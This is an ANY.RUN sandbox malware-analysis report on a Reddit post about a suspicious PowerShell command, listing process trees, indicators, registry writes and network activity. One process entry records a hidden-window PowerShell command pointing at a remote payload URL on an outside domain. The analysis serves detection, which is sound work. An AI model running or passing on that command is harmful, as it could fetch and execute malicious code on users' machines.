URL:

https://www.reddit.com/r/Malwarebytes/comments/1h9lr6k/is_this_powershell_command_malicious/

Full analysis: https://app.any.run/tasks/b861aaef-2859-48fe-a6a6-db9a4d208c1a
Verdict: Malicious activity
Analysis date: December 08, 2024, 16:05:50
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MD5:

6E27EB347E0F4B1005838ED47E1A22E5

SHA1:

267A0599C4D43AED0CE6F866F9A37336635264E8

SHA256:

01EC30B032CC97406F3CF25AE80A30A094163BBBB79617350B8720D02E802664

SSDEEP:

3:N8DSLQuMZbzDL/U4UM34bJJ6GT5LMXHi:2OLQuMZbb/zVIt0KVMS

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7396)
      • powershell.exe (PID: 4444)

  • SUSPICIOUS

    • Application launched itself

      • powershell.exe (PID: 5268)
      • powershell.exe (PID: 7908)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 5268)
      • powershell.exe (PID: 7908)

  • INFO

    • Manual execution by a user

      • powershell.exe (PID: 5268)
      • powershell.exe (PID: 7908)

    • The process uses the downloaded file

      • powershell.exe (PID: 5268)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7396)
      • powershell.exe (PID: 5268)

    • Application launched itself

      • chrome.exe (PID: 6300)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 5268)

    • Executable content was dropped or overwritten

      • chrome.exe (PID: 6300)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
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Total processes
168
Monitored processes
34
Malicious processes
0
Suspicious processes
1

Behavior graph

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start chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
628"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=6200 --field-trial-handle=1936,i,10489499066036996155,17578193701515771842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
936"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.3636 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoABAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4396 --field-trial-handle=1936,i,10489499066036996155,17578193701515771842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
1080"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=4756 --field-trial-handle=1936,i,10489499066036996155,17578193701515771842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
1472"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4444 --field-trial-handle=1936,i,10489499066036996155,17578193701515771842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
2496"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=4880 --field-trial-handle=1936,i,10489499066036996155,17578193701515771842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
2676\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4444"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -command = https://travelwithandrew.xyz/assets/in.txtC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
4908"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5000 --field-trial-handle=1936,i,10489499066036996155,17578193701515771842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
5252"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5420 --field-trial-handle=1936,i,10489499066036996155,17578193701515771842,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
5268"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
36 182
Read events
36 157
Write events
19
Delete events
6

Modification events

(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
2
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\StabilityMetrics
Operation:writeName:user_experience_metrics.stability.exited_cleanly
Value:
0
(PID) Process:(6300) chrome.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}
Operation:writeName:usagestats
Value:
0
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C
Operation:writeName:C1I
Value:
1
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C
Operation:writeName:C2I
Value:
1
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C
Operation:writeName:C7I
Value:
1
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C
Operation:writeName:C1S
Value:
1
(PID) Process:(6300) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Common\Rlz\Events\C
Operation:writeName:C7S
Value:
1
Executable files
7
Suspicious files
212
Text files
55
Unknown types
196

Dropped files

PID
Process
Filename
Type
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old~RF135d46.TMP —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old~RF135d46.TMP —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RF135d46.TMP —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.old~RF135d65.TMP —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.old —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old~RF135d65.TMP —
MD5:—
SHA256:—
6300chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOG.old~RF135d75.TMP —
MD5:—
SHA256:—
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HTTP(S) requests
31
TCP/UDP connections
115
DNS requests
104
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
95.101.54.122:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
95.101.54.122:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
6568
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
7464
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7464
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
6060
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
95.101.54.122:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
95.101.54.122:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
—
—
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5064
SearchApp.exe
2.23.209.130:443
www.bing.com
Akamai International B.V.
GB
whitelisted
5064
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.124.78.146
  • 20.73.194.208
whitelisted
google.com
  • 216.58.212.174
whitelisted
crl.microsoft.com
  • 95.101.54.122
  • 95.101.54.128
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
www.bing.com
  • 2.23.209.130
  • 2.23.209.150
  • 2.23.209.158
  • 2.23.209.140
  • 2.23.209.149
  • 2.23.209.177
  • 2.23.209.133
  • 2.23.209.176
  • 2.23.209.179
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
www.reddit.com
  • 151.101.129.140
  • 151.101.193.140
  • 151.101.1.140
  • 151.101.65.140
whitelisted
accounts.google.com
  • 173.194.76.84
whitelisted
w3-reporting-nel.reddit.com
  • 151.101.193.140
  • 151.101.65.140
  • 151.101.1.140
  • 151.101.129.140
whitelisted
www.redditstatic.com
  • 151.101.193.140
  • 151.101.1.140
  • 151.101.129.140
  • 151.101.65.140
whitelisted

Threats

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